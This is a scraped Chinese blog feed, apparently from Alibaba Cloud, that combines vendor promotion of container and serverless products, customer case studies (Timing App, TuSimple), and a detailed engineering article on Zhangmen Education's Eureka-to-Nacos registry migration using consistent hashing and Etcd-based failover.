    作为多种类型计算服务统一管理的基础设施, ASM提供了统一的流量管理能力、统一的服务安全能力、统一的服务可观测性能力、以及统一的数据面可扩展能力, 并提出了相应的实践之成熟度模型。针对用户不同的场景, 逐步采用, 分别为一键启用、可观测提升、安全加固、多种基础设施的支持以及多集群混合管理。

    全球镜像同步加速,ACR EE 保障云原生制品的安全托管及高效分发

    容器镜像服务企业版 ACR EE 面向安全及性能需求高,业务多地域大规模部署的企业级客户,提供了公共云首个独享实例模式的企业版服务。

    在制品托管部分,ACR EE 除了支持多架构容器镜像,还支持多版本 Helm Chart 等符合 OCI 规范制品托管。在分发及安全治理部分,ACR EE 加强了全球多地域分发和大规模分发支持,提供网络访问控制、安全扫描、安全加签、安全审计等多维度安全保障,助力企业从 DevOps 到 DevSecOps 的升级。目前已有数百家企业线上环境大规模使用,保障企业客户云原生应用制品的安全托管及高效分发。

    某国际零售巨头是全球多地域业务形态,存在多地研发协作及多地域部署的场景。采用 ACR EE 之后,客户只需配置实例同步规则,在业务迭代更新容器镜像后,可实现分钟级自动同步至全球指定地域,自动触发 ACK 集群业务部署。完美应对跨海网络链路不稳定、分发不安全的问题,极大提高业务研发迭代效率和部署稳定性,保障企业业务的全球化部署。

    除了业务镜像全球自动化部署,也有很多企业通过ACR EE的云原生应用交付链功能,通过全链路可追踪、可观测、可自主配置等实践容器化DevSecOps。

    业界首创“云边一体化”理念 ,边缘容器服务ACK@Edge正式商业化

    与此同时,阿里云深度挖掘了“边缘计算+云原生落地实施”诉求,在去年KubeCon上,重磅发布了边缘容器(ACK@Edge),时隔一年,宣布ACK@Edge 正式商用。此外,ACK@Edge 也将其核心能力开源,并向社区贡献完整的云原生边缘计算项目——OpenYurt。

    在过去短短一年的时间里,该款产品已经应用于音视频直播、云游戏、工业互联网、交通物流、城市大脑等应用场景中,并服务于盒马、优酷、阿里视频云和众多互联网、新零售企业。

    YY使用ACK@Edge之后,可以API统一管理、统一运维边缘容器集群和中心容器集群,边缘算力快速接入并实现边缘节点自治,同时也可以无缝接入Prometheus服务实现监控数据上报,总体上运维效率和资源使用率都得到显著改善。

    ACK@Edge适用于丰富的应用场景, 包括边缘智能、智慧楼宇、智慧工厂、音视频直播、在线教育、CDN。

    云原生技术不但可以最大化云的弹性,帮助企业实现降本提效; 而且还意味着更多创新的想象空间, 云原生将和AI, 边缘计算,机密计算等新技术相结合,为数字经济构建智能、互联、信任的创新基础设施。

    “ 新基石、新算力、新生态是容器产品发展策略 ” ,易立称,“云原生技术正成为释放云价值的最短路径,团队会帮助企业更好支撑混合云、云边一体的分布式云架构和全球化应用交付。基于云原生的软硬一体化技术创新,如神龙架构,含光芯片,GPU共享调度等,阿里云将加速业务智能化升级。同时我们还会通过开放技术生态和全球合作伙伴计划,让更多企业分享云时代技术红利。”

    ]]>
    在线教育行业,不可不知的阿里云中间件实战秘笈 Fri, 02 May 2025 09:39:03 +0800 “停课不停学”,疫情之下,几乎所有教育机构或平台都趁热打铁,上百项公益课程纷至沓来,令人眼花缭乱。据统计,从年初至今,13家在线教育相关公司的市值已经累计上涨近800亿元。线下教育停滞,巨额流量瞬间涌入线上。此次疫情对于在线教育的快速普及起到了很大的刺激作用,主要地区普及率将从目前的不到20%快速提升到接近100%,并将在线教育的学习方式推广到三四线城市。

    从在线教育长远的发展来讲,根据艾媒咨询的数据,2018年中国在线教育用户规模超过2亿人,而到2020年,有望达到3亿人。根据艾瑞咨询的数据,2018年中国在线教育市场规模2518亿元,预计在2022年市场规模将超过5000亿元。

    在线教育行业基于用户在线、产品在线、服务在线的需求,需要突破时间和空间的限制,打破由于地域限制等原因造成的教育资源不平等分配,从而降低学习门槛,使教育资源共享化。同时,在线教育行业还需要通过技术手段和能力,逐步将内容供应、平台、分发推广为一体的生态能力构建起来。从商业逻辑出发,其核心环节包括两个节点:流量的引入、流量的变现。

    在流量快速涌入的背景下,对在线教育机构及第三方服务提供商既是机遇,亦是挑战。挑战主要在:
    1、企业面对越来越多的挑战:师资的招聘(尤其是疫情期间)、用户爆发增长下的服务维持、系统的稳定性能力。
    2、如何应对不确定性:“黑天鹅”现象频发,如何通过IT技术应对突发流量、抖增的业务量以及不确定的系统容量需求,从而让企业夺得先机。

    从流量引入以及构建在线教育平台的核心竞争力来讲,挑战在于:
    1、 新的产品、内容以及新的业务快速落地的能力:互联网时代唯快不破,新的业务如何快速试点不断迭代,从而吸引更多的用户,是技术赋能业务时需要快速解决的问题。
    2、 新业务上线以后,如何能引爆整个市场,服务更多的用户。
    3、 当服务于一定数量级用户后,如何精准和个性化地服务每一个客户。
    网络协同和数据智能是未来商业的基本特征。在线教育行业需要通过提升运营效率、业务创新能力和精准服务能力,进一步实现业务在线、用户在线和服务在线。而这些商业能力的实现依赖于IT基础设施云化、技术互联网化以及应用的数据化和智能化。
    云原生基于开放的技术标准、理念和实践,正成为云和企业交互的新界面。阿里云中间件作为云原生的核心支点,其产品和最佳实践正在加速在线教育IT基础设施云化和技术互联网化。当前,历经阿里巴巴各种业务打磨和验证的中间件,正以开放稳定的绝对优势,在阿里云在线教育等各个行业中广泛使用。

    此处通过一篇案例进行详细剖析:
    Timing App的Serverless实践案例
    1、背景和挑战:
    作为广受好评的学习应用,Timing App 专注于帮助社区用户提升学习凝聚力,达成学习目标。目前已有超过 700 万人通过 Timing 进行高效学习。与传统在线学习应用不同,Timing app 提供了 Timing 自习室、图书馆学习、 视频打卡、学习日记、契约群、学习服务等多类具有社交性质的在线教育服务,帮助用户找到自己的学习节奏,找到 坚持学习的一万种理由。Timing 业务本身具有潮汐特性,用户访问主要集中在晚间和节假日。受疫情影响,春节期 间峰值流量暴增 4 倍,公司面临较大的运维成本压力。在用户、流量爆发式增长背景下,Timing App 不得不直面以 下四大痛点:
    (1)系统稳定性差。原有 PHP 单应用架构系统无法做到线性快速扩容,在业务高峰时段,系统问题频繁发生,严 重影响用户体验。
    (2)产品迭代缓慢。随着业务的高速发展,原有单体架构对于产品的迭代力不从心,没法快速响应研发需求。
    (3)资源使用浪费。由于业务具有非常强的流量潮夕特征,需要按照业务高峰阶段进行资源保有配置,造成资源 的浪费。
    (4)技术成本昂贵。以前的团队除了技术负责人及少数团队新成员外,基本缺乏微服务架构实战经验。想要实现 微服务改造,急需能够快速上手的平台支撑,需要最大限度降低底层 IaaS, 容器以及常用微服务套件的学习 成本。

    2、云原生解决方案:
    阿里云应用引擎 Serverless(SAE),基于 Serverless 架构,屏蔽了底层 IaaS 运维和 K8s 细节,区别 于 FaaS 形态的 Serverless 产品,用户无需修改编程模型,零代码改造就能直接使用。同时,完美结合 Spring Cloud/Duboo 等微服务架构,提供应用发布、管理和服务治理等应用全生命周期的服务,完美贴合 Timing 的技术 需求:极限弹性伸缩,应用生命周期灵活管理,完美支持主流微服务架构。
    下图是方案架构示意图。
    image.png

    3、方案的关键优势:
    (1)利用弹性伸缩,应对不确定突发流量。提供秒级自动弹性 & 定时弹性能力,帮助应用轻松应对大促峰值流量, 保证 SLA 的同时也节省机器保有成本。多适用于互联网、游戏、在线教育行业。 应用环境随需灵活启停,节约成本。提供了一键启停开发测试环境的能力,即开即用,节省成本,方便运维。 适用于对成本敏感、云上有多套环境但部分环境闲置率较高的企业型客户(不限行业)。
    (2)中小企业快速构建云上微服务应用。帮助用户屏蔽底层 IaaS 购买和运维细节、底层 K8s 细节,低门槛部署 微服务应用。适用于初创型 / 上升期的公司(不限行业),业务增长很快,对增长有较高预期,但人员配置跟不上。
    (3)整体技术架构更为清晰,每个服务相互独立且职责明确。加之阿里云应用引擎 Serverless (SAE)加持, 让客户只关注在业务层,做好产品。

    【在线教育行业,中间件实战秘笈】

    十年中间件精华集锦,一览标杆案例、最佳实践合集!还有全年重磅优惠大放送!点击链接立即查看:
    https://www.aliyun.com/activity/daily/aioe

    【填问卷抽礼品】

    为了更好地给您提供定制化服务,诚邀您填写问卷,我们将随机抽取用户赠送淘宝纪念版公仔或指尖陀螺哦!
    【点击链接马上填问卷抽礼品】
    https://survey.aliyun.com/apps/zhiliao/YmW95Gk8bU

    image.png

    【加入客户交流钉钉群】

    欢迎扫码加入在线教育客户交流钉钉群,阿里巴巴众多专家将在群内定期分享行业最佳实践和前沿技术干货,扫码入群,与更多行业精英互动交流。

    test

    ]]>
    阿里云飞天AI加速器+Serverless容器,帮助图森未来提升资源利用率 Fri, 02 May 2025 09:39:03 +0800 hailuo_164850200_RF_线上全媒体用途.jpg

    图森未来(TuSimple)成立于2015年,是一家专注于L4级无人驾驶卡车技术研发与应用的人工智能企业,已经实现卡车在干线物流场景和半封闭枢纽场景下的无人干预驾驶。图森未来品牌旗下产品——图森未来 L4 级别无人驾驶卡车能够实现环境感知、定位导航、决策控制等自动驾驶核心功能,可应用于高速公路货运和港内集装箱码头运输及其相似场景。

    公司于2019年9月完成总额2.15亿美元D轮融资,资方:UPS、鼎晖资本、万都中国、累计融资超过3亿美元,最新估值超过12亿美元,是卡车无人驾驶头部企业,也是全球第一家无人驾驶卡车独角兽企业。

    图森未来的业务主要在美国和国内两地展开,在美国主要是高速公路干路货运场景,国内业务开始以连接枢纽场景的干线物流货运为主。

    在美国,图森未来已经向包括UPS、USPS、McLane、U.S. Xpress在内的18家客户提供无人驾驶物流服务。

    今年年初,图森未来的无人驾驶卡车还上了“钢铁侠”的扮演者小罗伯特·唐尼主持的科技聚集剧集《The Age of A.I.》(《AI时代》),在剧中不仅顺利完成无人驾驶的行驶任务,还与围追堵截的摄像车“斗智斗勇”,在摄像车各种找拍摄角度的情况下,自动自我调整,化险为夷,避让既礼貌又安全。

    国内方面,2018年 10月,图森未来拿到国内第一张针对无人驾驶卡车在公开道路测试的测试牌照。依托上海市政府的政策支持,以及临港片区真实场景的需求,图森未来的无人驾驶卡车已经在东海大桥上进行了长时间的测试,截至2020年7月,累计测试里程已超过5万公里,具备了在东海大桥上不需要接管的无人驾驶能力。

    在北京,图森未来携手北汽福田、首发集团等合作伙伴,实现了在京礼高速(延崇北京段)总长14公里(包括9.8公里连续特长隧道群路段)的三车无人驾驶队列跟弛测试,顺利完成中国首次高速公路全封闭环境下、基于C-V2X车路协同技术的队列跟驰测试工作。

    飞天AI加速器提升训练性能,加速模型迭代

    一台车自动驾驶卡车,两个星期会产生大约50TB的数据。图森未来目前有超过70台卡车在上路,意味着每天有大量的数据产生。为了让自动驾驶卡车更聪明,就需要不断地积累更多的真实数据集训练它目标检测与物体识别框架的能力。

    随着业务高速发展,迭代越来越快,图森未来的模型也越来越复杂。每次模型迭代,都需要短时间调度大规模的GPU资源来分布式地进行模型训练。

    然而,GPU服务器采购成本高,运维复杂,图森未来不得不投入越来越多的精力到运维工作中;更重要的是,图森未来发现,随着所用GPU数量增长,GPU的利用率却并不高。

    为什么会这样?理论上来说,GPU卡越多,整体算力越大,但是随着机器数的增加,不同机器的GPU之间的配合难度会越来越大,单张GPU卡的利用率反而会下降。所以增加了几十倍的卡的成本,但是性能却很难随之线性增长。

    阿里云的飞天AI加速器AIACC团队,针对图森未来的场景,在底层针对通讯、计算、时延和带宽等做了深度优化,将训练性能提升了将近60%,大大缩短了图森未来的模型优化时间,加速模型迭代,提高技术门槛。

    飞天AI加速器是AIACC业界首个统一加速,Tensorflow、MXNet、Caffe、PyTorch等主流深度学习框架的加速引擎,拿下斯坦福深度学习榜单Dawnbench图像识别四个世界第一。

    Serverless容器,提升仿真测试效率,缩短60%模型测试时间

    每次迭代的模型训练完成之后,图森未来需要对优化后的模型进行测试。如果每次都要上路测试,成本大、风险高、而且不能验证各种极端情况。

    幸亏,图森未来有个汽车仿真平台,模拟在各种环境下(例如:晴天、阴天、雨天、雾霾天、夜晚),模型的处理能力。

    这种测试任务依赖开发人员的开发节奏,具有突发、临时、短期的特征,并且需要的算力规模非常大,如果包年包月地购买海量算力,则很多时候都处于闲置状态,需求来了可能算力又不够用,仿真模拟任务需要排队完成,影响开发人员的开发效率和模型的迭代速度。

    由于图森未来的整体业务架构早已实现容器化,为这类临时高峰场景做好了敏捷的业务储备。通过阿里云ASK(Alibaba Cloud Serverless Kubernetes)容器服务,图森未来可以在需要测试的时候,在阿里云上秒级启动大规模的容器集群,即刻获取海量算力,缩短了60%的模型测试时间;完成测试之后迅速释放算力,避免资源浪费。

    阿里云ASK是Serverless免运维的K8s容器服务,底层使用阿里云ECI(Elastic Container Instance弹性容器实例)作为容器计算基础设施,提供高弹性、低成本、免运维的Serverless容器运行环境,免去用户对容器集群的运维和容量规划工作,大大节省了图森未来运维的工作量。

    另外,ASK的计费粒度精确到秒,非常适用于仿真计算这类突发的高并发短时任务;针对长期的训练任务,图森未来则使用包年包月的ACK(Alibaba Cloud Kubernetes)。通过适用于长短任务的ACK+ASK产品搭配,即提升了图森未来的资源利用率,又节省了成本。

    ]]>
    掌门教育微服务体系 Solar | 阿里巴巴 Nacos 企业级落地中篇 Fri, 02 May 2025 09:39:03 +0800 25.jpg
    联席作者:吴毅挺 任浩军 童子龙
    郑重鸣谢:Nacos - 彦林,Spring Cloud Alibaba - 小马哥、洛夜,Nacos 社区 - 张龙(pader)、春少(chuntaojun)

    掌门教育自 2014 年正式转型在线教育以来,秉承“让教育共享智能,让学习高效快乐”的宗旨和愿景,经历云计算、大数据、人工智能、 AR / VR / MR 以及现今最火的 5G ,一直坚持用科技赋能教育。掌门教育的业务近几年得到了快速发展,特别是今年的疫情,使在线教育成为了新的风口,也给掌门教育新的机遇。

    随着业务规模进一步扩大,流量进一步暴增,微服务数目进一步增长,使老的微服务体系所采用的注册中心 Eureka 不堪重负,同时 Spring Cloud 体系已经演进到第二代,第一代的 Eureka 注册中心已经不大适合现在的业务逻辑和规模,同时它目前被 Spring Cloud 官方置于维护模式,将不再向前发展。如何选择一个更为优秀和适用的注册中心,这个课题就摆在了掌门人的面前。经过对 Alibaba Nacos 、HashiCorp Consul等开源注册中心做了深入的调研和比较,最终选定 Alibaba Nacos 做微服务体系 Solar 中的新注册中心。

    背景故事

    两次 Eureka 引起业务服务大面积崩溃后,虽然通过升级硬件和优化配置参数的方式得以解决,Eureka 服务器目前运行平稳,但我们依旧担心此类事故在未来会再次发生,最终选择落地 Alibaba Nacos 作为掌门教育的新注册中心。

    Nacos 开发篇

    Nacos Eureka Sync 方案演进

    Sync 官方方案

    经过研究,我们采取了官方的 Nacos Eureka Sync 方案,在小范围试用了一下,效果良好,但一部署到 FAT 环境后,发现根本不行,一台同步服务器无法抗住将近 660 个服务(非实例数)的频繁心跳,同时该方案不具备高可用特点。

    Sync 高可用一致性 Hash + Zookeeper 方案

    既然一台不行,那么就多几台,但如何做高可用呢?

    我们率先想到的是一致性 Hash 方式。当一台或者几台同步服务器挂掉后,采用 Zookeeper 临时节点的 Watch 机制监听同步服务器挂掉情况,通知剩余同步服务器执行 reHash ,挂掉服务的工作由剩余的同步服务器来承担。通过一致性 Hash 实现被同步的业务服务列表的平均分配,基于对业务服务名的二进制转换作为 Hash 的 Key 实现一致性 Hash 的算法。我们自研了这套算法,发现平均分配的很不理想,第一时间怀疑是否算法有问题,于是找来 Kafka 自带的算法(见 Utils.murmur2 ),发现效果依旧不理想,原因还是业务服务名的本身分布就是不平均的,于是又回到自研算法上进行了优化,基本达到预期,下文会具体讲到。但说实话,直到现在依旧无法做到非常良好的绝对平均。

    Sync 高可用主备 + Zookeeper 方案

    这个方案是个小插曲,当一台同步服务器挂掉后,由它的“备”顶上,当然主备切换也是基于 Zookeeper 临时节点的 Watch 机制来实现的。后面讨论下来,主备方案,机器的成本很高,实现也不如一致性 Hash 优雅,最后没采用。

    Sync 高可用一致性 Hash + Etcd 方案

    折腾了这么几次后,发现同步业务服务列表是持久化在数据库,同步服务器挂掉后 reHash 通知机制是由 Zookeeper 来负责,两者能否可以合并到一个中间件上以降低成本?于是我们想到了 Etcd 方案,即通过它实现同步业务服务列表持久化 + 业务服务列表增减的通知 + 同步服务器挂掉后 reHash 通知。至此方案最终确定,即两个注册中心( Eureka 和 Nacos )的双向同步方案,通过第三个注册中心( Etcd )来做桥梁。

    Sync 业务服务名列表定时更新优化方案

    解决了一致性 Hash 的问题后,还有一个潜在风险,即官方方案每次定时同步业务服务的时候,都会去读取全量业务服务名列表,对于业务服务数较少的场景应该没问题,但对于我们这种场景下,这么频繁的全量去拉业务服务列表,会不会对 Nacos 服务器的性能有所冲击呢?接下去我们对此做了优化,取消全量定时读取业务服务名列表,通过 DevOps 的发布系统平台实施判断,如果是迁移过来的业务服务或者新上 Nacos 的业务服务,由发布平台统一调用 Nacos 接口来增加新的待同步业务服务 Job,当该业务服务全部迁移完毕后,在官方同步界面上删除该同步业务服务 Job 即可。

    Sync 服务器两次扩容

    方案实现后,上了 FAT 环境上后没发现问题(此环境,很多业务服务只部署一个实例),而在 PROD 环境上发现存在双向同步丢心跳的问题,原因是同步服务器来不及执行排队的心跳线程,导致 Nacos 服务器无法及时收到心跳而把业务服务踢下来。我们从 8 台 4C 8G 同步服务器扩容到 12 台,情况好了很多,但观察下来,还是存在一天内一些业务服务丢失心跳的情况,于是我们再次从 12 台 4C 8G 同步服务器扩容到 20 台,情况得到了大幅改善,但依旧存在某个同步服务器上个位数丢失心跳的情况,观察下来,那台同步服务器承受的某几个业务服务的实例数特别多的情况,我们在那台同步服务器调整了最大同步线程数,该问题得到了修复。我们将继续观察,如果该问题仍旧复现,不排除升级机器配置到 8C16G 来确保 PROD 环境的绝对安全。

    至此,经过 2 个月左右的努力付出,Eureka 和 Nacos 同步运行稳定, PROD 环境上同步将近 660 个服务(非实例数),情况良好。
    非常重要的提醒:一致性 Hash 的虚拟节点数,在所有的 Nacos Sync Server 上必须保持一致,否则会导致一部分业务服务同步的时候会被遗漏。

    Nacos Eureka Sync 落地实践

    Nacos Eureka Sync 目标原则

    注册中心迁移目标

    1、过程并非一蹴而就的,业务服务逐步迁移的过程要保证线上调用不受影响,例如, A 业务服务注册到 Eureka 上, B 业务服务迁移到 Nacos ,A 业务服务和 B 业务服务的互相调用必须正常。
    2、过程必须保证双注册中心都存在这两个业务服务,并且目标注册中心的业务服务实例必须与源注册中心的业务服务实例数目和状态保持实时严格一致。

    注册中心迁移原则

    1、一个业务服务只能往一个注册中心注册,不能同时双向注册。
    2、一个业务服务无论注册到 Eureka 或者 Nacos,最终结果都是等效的。
    3、一个业务服务在绝大多数情况下,一般只存在一个同步任务,如果是注册到 Eureka 的业务服务需要同步到 Nacos ,那就有一个 Eureka -> Nacos 的同步任务,反之亦然。在平滑迁移中,一个业务服务一部分实例在 Eureka 上,另一部分实例在 Nacos 上,那么会产生两个双向同步的任务。
    4、一个业务服务的同步方向,是根据业务服务实例元数据( Metadata )的标记 syncSource 来决定。

    Nacos Eureka Sync 问题痛点

    Nacos Eureka Sync 同步节点需要代理业务服务实例和 Nacos Server 间的心跳上报。

    Nacos Eureka Sync 将心跳上报请求放入队列,以固定线程消费,一个同步业务服务节点处理的服务实例数超过一定的阈值会造成业务服务实例的心跳发送不及时,从而造成业务服务实例的意外丢失。

    Nacos Eureka Sync 节点宕机,上面处理的心跳任务会全部丢失,会造成线上调用大面积失败,后果不堪设想。

    Nacos Eureka Sync 已经开始工作的时候,从 Eureka 或者 Nacos 上,新上线或者下线一个业务服务(非实例),都需要让 Nacos Eureka Sync 实时感知。

    Nacos Eureka Sync 架构思想

    image.png
    1、从各个注册中心获取业务服务列表,初始化业务服务同步任务列表,并持久化到 Etcd 集群中。
    2、后续迁移过程增量业务服务通过 API 接口持久化到 Etcd 集群中,业务服务迁移过程整合 DevOps 发布平台。整个迁移过程全自动化,规避人为操作造成的遗漏。
    3、同步服务订阅 Etcd 集群获取任务列表,并监听同步集群的节点状态。
    4、同步服务根据存活节点的一致性 Hash 算法,找到处理任务节点,后端接口通过 SLB 负载均衡,删除任务指令轮询到的节点。如果是自己处理任务则移除心跳,否则找到处理节点,代理出去。
    5、同步服务监听源注册中心每个业务服务实例状态,将正常的业务服务实例同步到目标注册中心,保证双方注册中心的业务服务实例状态实时同步。
    6、业务服务所有实例从 Eureka 到 Nacos 后,需要业务部门通知基础架构部手动从 Nacos Eureka Sync 同步界面摘除该同步任务。

    Nacos Eureka Sync 方案实现

    image.png
    基于官方的 Nacos Sync 做任务分片和集群高可用,目标是为了支持大规模的注册集群迁移,并保障在节点宕机时,其它节点能快速响应,转移故障。技术点如下,文中只列出部分源码或者以伪代码表示:
    **详细代码,请参考:
    https://github.com/zhangmen-tech/nacos**

    服务一致性 Hash 分片路由:
    根据如图1多集群部署,为每个节点设置可配置的虚拟节点数,使其在 Hash 环上能均匀分布。

    // 虚拟节点配置
    sync.consistent.hash.replicas = 1000;

    // 存储虚拟节点
    SortedMap circle = new TreeMap();
    // 循环添加所有节点到容器,构建Hash环
    replicas for loop {

    // 为每个物理节点设置虚拟节点
    String nodeStr = node.toString().concat("##").concat(Integer.toString(replica));
    // 根据算法计算出虚拟节点的Hash值
    int hashcode = getHash(nodeStr);
    // 将虚拟节点放入Hash环中
    circle.put(hashcode, node);

    // 异步监听节点存活状态
    etcdManager.watchEtcdKeyAsync(REGISTER_WORKER_PATH, true, response -> {

    for (WatchEvent event : response.getEvents()) {
    // 删除事件,从内存中剔除此节点及Hash中虚拟节点
    if (event.getEventType().equals(WatchEvent.EventType.DELETE)) {
        String key = Optional.ofNullable(event.getKeyValue().getKey()).map(bs -> bs.toString(Charsets.UTF_8)).orElse(StringUtils.EMPTY);
        //获取Etcd中心跳丢失的节点
        String[] ks = key.split(SLASH);
        log.info("{} lost heart beat", ks[3]);
        // 自身节点不做判断
        if (!IPUtils.getIpAddress().equalsIgnoreCase(ks[3])) {
            // 监听心跳丢失,更显存货节点缓存,删除Hash环上节点
            nodeCaches.remove(ks[3]);
            try {
                // 心跳丢失,清除etcd上该节点的处理任务
                manager.deleteEtcdValueByKey(PER_WORKER_PROCESS_SERVICE.concat(SLASH).concat(ks[3]), true);
            } catch (InterruptedException e) {
                log.error("clear {} process service failed,{}", ks[3], e);
            } catch (ExecutionException e) {
                log.error("clear {} process service failed,{}", ks[3], e);
            }
        }
    }

    }

    根据业务服务名的 FNV1_32_HASH 算法计算每个业务服务的哈希值,计算该 Hash 值顺时针最近的节点,将任务代理到该节点。

    // 计算任务的Hash值
    int hash = getHash(key.toString());
    if (!circle.containsKey(hash)) {

    SortedMap<Integer, T> tailMap = circle.tailMap(hash);
    // 找到顺势针最近节点
    hash = tailMap.isEmpty() ? circle.firstKey() : tailMap.firstKey();

    }

    // 得到Hash环中的节点位置
    circle.get(hash);

    // 判断任务是否自己的处理节点
    if (syncShardingProxy.isProcessNode(taskDO.getServiceName())) {

    //如果任务属于该节点,则进行心跳同步处理
    processTask(Task);

    }

    // 删除心跳同步任务
    if (TaskStatusEnum.DELETE.getCode().equals(taskUpdateRequest.getTaskStatus())) {

    // 通过Etcd存活节点的一致性Hash算法,获取此任务所在的处理节点
    Node processNode = syncShardingProxy.fetchProcessNode(Task);
    if (processNode.isMyself()) {
        // 如果是自己的同步任务,发布删除心跳事件
        eventBus.post(new DeleteTaskEvent(taskDO));
    } else {
        // 如果是其他节点,则通过Http代理到此节点处理
        httpClientProxy.deleteTask(targetUrl,task);
    }

    }

    同步节点宕机故障转移:
    节点监听。监听其它节点存活状态,配置 Etcd 集群租约 TTL , TTL 内至少发送 5 个续约心跳以保证一旦出现网络波动避免造成节点丢失。

    // 心跳TTL配置
    sync.etcd.register.ttl = 30;

    // 获取租约TTL配置
    String ttls = environment.getProperty(ETCD_BEAT_TTL);
    long ttl = NumberUtils.toLong(ttls);

    // 获取租约ID
    long leaseId = client.getLeaseClient().grant(ttl).get().getID();
    PutOption option = PutOption.newBuilder().withLeaseId(leaseId).withPrevKV().build();
    client.getKVClient().put(ByteSequence.from(key, UTF_8), ByteSequence.from(value, UTF_8), option).get();
    long delay = ttl / 6;

    // 定时续约
    scheduledExecutorService.schedule(new BeatTask(leaseId, delay), delay, TimeUnit.SECONDS);

    // 续约任务
    private class BeatTask implements Runnable {

    long leaseId;
    long delay;
    
    public BeatTask(long leaseId, long delay) {
        this.leaseId = leaseId;
        this.delay = delay;
    }
    
    public void run() {
        client.getLeaseClient().keepAliveOnce(leaseId);
        scheduledExecutorService.schedule(new BeatTask(this.leaseId, this.delay), delay, TimeUnit.SECONDS);
    }

    }

    节点宕机。其中某个节点宕机,其任务转移到其它节点,因为有虚拟节点的缘故,所以此节点的任务会均衡 ReSharding 到其它节点,那么,集群在任何时候,任务处理都是分片均衡的,如图2中, B 节点宕机, ##1 、 ##2 虚拟节点的任务会分别转移到 C 和 A 节点,这样避免一个节点承担宕机节点的所有任务造成剩余节点连续雪崩。

    节点恢复。如图3,节点的虚拟节点重新添加到 Hash 环中, Sharding 规则变更,恢复的节点会根据新的 Hash 环规则承担其它节点的一部分任务。心跳任务一旦在节点产生都不会自动消失,这时需要清理其它节点的多余任务(即重新分配给复苏节点的任务),给其它节点减负(这一步非常关键,不然也可能会引发集群的连续雪崩),保障集群恢复到最初正常任务同步状态。

    // 找到此节点处理的心跳同步任务
    Map finishedTaskMap = skyWalkerCacheServices.getFinishedTaskMap();

    // 存储非此节点处理任务
    Map unBelongTaskMap = Maps.newHashMap();

    // 找到集群复苏后,Rehash后不是此节点处理的任务
    if (!shardingEtcdProxy.isProcessNode(taskDO.getServiceName()) && TaskStatusEnum.SYNC.getCode().equals(taskDO.getTaskStatus())) {

    unBelongTaskMap.put(operationId, entry.getValue());

    }

    unBelongTaskMap for loop {

    // 删除多余的节点同步
    specialSyncEventBus.unsubscribe(taskDO);
    
    // 删除多余的节点处理任务数
    proxy.deleteEtcdValueByKey(PER_WORKER_PROCESS_SERVICE.concat(SLASH).concat(IPUtils.getIpAddress()).concat(SLASH).concat(taskDO.getServiceName()), false);
    
    // 根据不同的同步类型,删除多余的节点心跳
    if (ClusterTypeEnum.EUREKA.getCode().equalsIgnoreCase(clusterDO.getClusterType())) {
        syncToNacosService.deleteHeartBeat(taskDO);
    }
    
    if (ClusterTypeEnum.NACOS.getCode().equalsIgnoreCase(clusterDO.getClusterType())) {
        syncToEurekaService.deleteHeartBeat(taskDO);
    }
    
    // 删除多余的finish任务
    finishedTaskMap.remove(val.getKey());

    }

    节点容灾。如果 Etcd 集群连接不上,则存活节点从配置文件中获取,集群正常运作,但是会失去容灾能力。

    // 配置所有处理节点的机器IP,用于构建Hash环
    sync.worker.address = ip1, ip2, ip3;

    // 从配置文件获取所有处理任务节点IP
    List ips = getWorkerIps();
    ConsistentHash consistentHash = new ConsistentHash(replicas, ips);

    // 如果从Etcd中获取不到当前处理节点,则构建Hash环用配置文件中的IP列表,且列表不会动态变化
    if (CollectionUtils.isNotEmpty(nodeCaches)) {

    consistentHash = new ConsistentHash(replicas, nodeCaches);

    }

    return consistentHash;

    Nacos Eureka Sync 保障手段

    Nacos Eureka Sync 同步界面

    从如下界面可以保证,从 Eureka 或者 Nacos 上,新上线或者下线一个业务服务(非实例),都能让 Nacos Eureka Sync 实时感知。但我们做了更进一层的智能化和自动化:

    1、新增同步。结合 DevOps 发布平台,当一个业务服务(非实例)新上线的时候,智能判断它是从哪个注册中心上线的,然后回调 Nacos Eureka Sync 接口,自动添加同步接口,例如,A 业务服务注册到 Eureka 上,DevOps 发布平台会自动添加它的 Eureka -> Nacos 的同步任务,反之亦然。当然从如下界面的操作也可实现该功能。
    2、删除同步。由于 DevOps 发布平台无法判断一个业务服务(非实例)下线,或者已经迁移到另一个注册中心,已经全部完毕(有同学会反问,可以判断的,即查看那个业务服务的实例数是否是零为标准,但我们应该考虑,实例数为零在网络故障的时候也会发生,即心跳全部丢失,所以这个判断依据是不严谨的),交由业务人员来判断,同时配合钉钉机器人告警提醒,由基础架构部同学从如下界面的操作实现该功能。
    image.png

    Nacos Eureka Sync Etcd 监控

    从如下界面可以监控到,业务服务列表是否在同步服务的集群上呈现一致性 Hash 均衡分布。

    image.png

    Nacos Eureka Sync 告警

    Nacos Eureka Sync 告警:

    image.png
    业务服务同步完毕告警:
    image.png

    Nacos Eureka Sync 升级演练

    1、7 月某天晚上 10 点开始, FAT 环境进行演练,通过自动化运维工具 Ansible 两次执行一键升级和回滚均没问题。
    2、晚上 11 点 30 开始,执行灾难性操作,观察智能恢复状况, 9 台 Nacos Eureka Sync 挂掉 3 台的操作,只丢失一个实例,但5分钟后恢复(经调查,问题定位在 Eureka 上某个业务服务实例状态异常)。
    3、晚上 11 点 45 开始,继续挂掉 2 台,只剩 4 台,故障转移,同步正常。
    4、晚上 11 点 52 开始,恢复 2 台,Nacos Eureka Sync 集群重新均衡 ReHash ,同步正常。
    5、晚上 11 点 55 开始,全部恢复,Nacos Eureka Sync 集群重新均衡 ReHash ,同步正常。
    6、12 点 14 分,极限灾难演练, 9 台挂掉 8 台,剩 1 台也能抗住,故障转移,同步正常。
    7、凌晨 12 点 22 分,升级 UAT 环境顺利。
    8、凌晨 1 点 22 ,升级 PROD 环境顺利。

    容灾恢复中的 ReHash 时间小于 1 分钟,即 Nacos Eureka Sync 服务大面积故障发生时,恢复时间小于 1 分钟。

    作者信息:

    吴毅挺,掌门技术副总裁,负责技术中台和少儿技术团队。曾就职于百度、eBay 、携程,曾任携程高级研发总监,负责从零打造携程私有云、容器云、桌面云和 PaaS 平台。

    任浩军,掌门基础架构部负责人。曾就职于平安银行、万达、惠普,曾负责平安银行平台架构部PaaS 平台 Halo 基础服务框架研发。10 多年开源经历,Github ID:@HaojunRen,Nepxion 开源社区创始人,Nacos Group Member,Spring Cloud Alibaba & Nacos & Sentinel& OpenTracing Committer。

    参与 Nacos 落地的基础架构部成员,包括:
    童子龙,张彬彬,廖梦鸽,张金星,胡振建,谢璐,谢庆芳,伊安娜

    ]]>
    从微服务到 Serverless | 开源只是开始,终态远没有到来 Fri, 02 May 2025 09:39:03 +0800 21.jpg

